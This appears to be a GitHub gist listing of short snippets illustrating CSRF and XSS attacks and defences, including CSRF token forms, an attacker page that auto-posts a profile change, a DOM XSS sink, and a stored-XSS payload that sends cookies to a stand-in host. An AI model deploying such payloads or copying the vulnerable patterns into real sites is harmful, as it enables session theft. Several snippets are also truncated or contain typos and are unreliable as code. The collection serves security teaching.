Alexander Zlatkov zlatkov

zlatkov / synchronizerTokenExample.html

Created February 8, 2021 14:19

	<form action=’/api/payment’ method=’post’>
	<input type=’hidden" name=’CSRFToken’ value=’WfF1szMUHhiokx9AHFply5L2xAOfjRkE’>
	</form>

zlatkov / index.ejs

Created February 8, 2021 14:14

	<form action='/profile' method='POST'>
	<input type='hidden' name='_csrf' value='<%= csrfToken %>'>
	<label for='name'> Name:</label>
	<input type='text' name='name'>
	<button type='submit'> Update </button>
	</form>

zlatkov / index.js

Last active February 8, 2021 14:11

	const express = require('express');
	const bodyParser = require('body-parser');
	const csrf = require('csurf')
	const cookieParser = require('cookie-parser')
	const app = express();
	const csrfProtection = csrf({ cookie: true });

	app.use(cookieParser());
	app.use(bodyParser.urlencoded({ extended: true }));
	app.set('view engine', 'ejs');

zlatkov / cstf_page_example.html

Created February 2, 2021 13:57

	<!DOCTYPE HTML>
	<html>
	<head></head>
	<body>
	<form method='post' action='htps://example.com/api/profile'>
	<input type='hidden' name='username' value="The Attacker">
	<input type='hidden' name='email' value="[email protected]">
	</form>

	<script>

zlatkov / user_profile.html

Last active February 8, 2021 13:53

	<!DOCTYPE HTML>
	<html>
	<head>
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
	<script>
	$.get('htps://example.com/api/profile', function(data) {
	$('#username').val(data.name);
	$('#useremail').val(data.email);
	});
	</script>

zlatkov / DOMXSSExample.html

Last active January 21, 2021 08:07

	<html>
	<head>
	<title> Dashboard </title>
	</head>
	<body>
	<script>
	let startPosition = document.URL.indexOf("role=") + 5;
	let userRole = document.URL.substring(startPosition,document.URL.length);
	document.write(userRole);
	</script>

zlatkov / persistentXSSExampleMaliciousOutput.html

Created January 20, 2021 15:07

	<div> You searched for: <script>/Malicious code/</script> </div>
	<div> Results: </div>
	…

zlatkov / persistentXSSExampleMaliciousInput.html

Created January 20, 2021 15:05

zlatkov / persistentXSSExample.html

Last active January 20, 2021 15:04

	<div> You searched for: javascript </div>
	<div> Results: </div>
	…

zlatkov / persistentXSS.html

Last active January 20, 2021 15:03

<script> window.location = ‘https://example.com/?user_data=’ + document.cookies; </script>